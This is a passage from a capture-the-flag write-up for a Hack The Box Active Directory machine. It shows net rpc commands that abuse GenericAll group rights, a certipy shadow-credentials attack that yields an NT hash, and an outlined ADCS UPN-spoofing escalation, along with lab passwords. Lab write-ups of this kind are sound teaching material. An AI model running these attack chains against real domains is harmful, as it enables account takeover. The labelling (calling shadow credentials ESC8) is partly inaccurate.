p.agila is member of SERVICE ACCOUNT MANAGERS that have “GenericAll” priv over SERVICE ACCOUNTS so we can add it to this gruop
net rpc group addmem "Service Accounts" "p.agila" -U "FLUFFY.HTB"/"p.agila"%"prometheusx-303" -S "DC01.FLUFFY.HTB"
we can check it, running this command
net rpc group members "Service Accounts" -U "FLUFFY.HBT"/"p.agila"%"prometheusx-303" -S "DC01.FLUFFY.HTB"ornet rpc user info "p.agila" -U "FLUFFY.HBT/p.agila%prometheusx-303" -S DC01.FLUFFY.HTB
As i cant perform DCSync attack i have to find and other way, like get control of ca_svc, like in the las step, but this time lets do it using certipy-ad / certipy (just to practice, instead of pywhisker.py and gettgtpkinit.py), first we explote GenericAll to add p.agila to Service Accounts
net rpc group addmem "Service Accounts" "p.agila" -U "FLUFFY.HTB"/"p.agila"%"prometheusx-303" -S "DC01.FLUFFY.HTB"
now we have permission to perform shadow credential attack (Use GenericWrite permision in order to modifies the KeyCredentials of the account), also known as ESC8
certipy shadow auto -username P.AGILA@fluffy.htb -password 'prometheusx-303' -account ca_svc
View
NT Hash: ca0f4f9e9eb8a092addf53bb03fc98c8
Privilege escalation
you can preform this method using certify version < 5.x.x but if you want to know who i found this way, you will need to update the version >5 and then use this command
ESC16 (Abusing UPN Spoofing and ESC1) , because we can change the “UserPrincipalName” of ca_svc@fluffy.htb to administrator this is posible because the ADCS is bad configured and allow ESC1 attack so we can request for a certify with a UPN of the administrator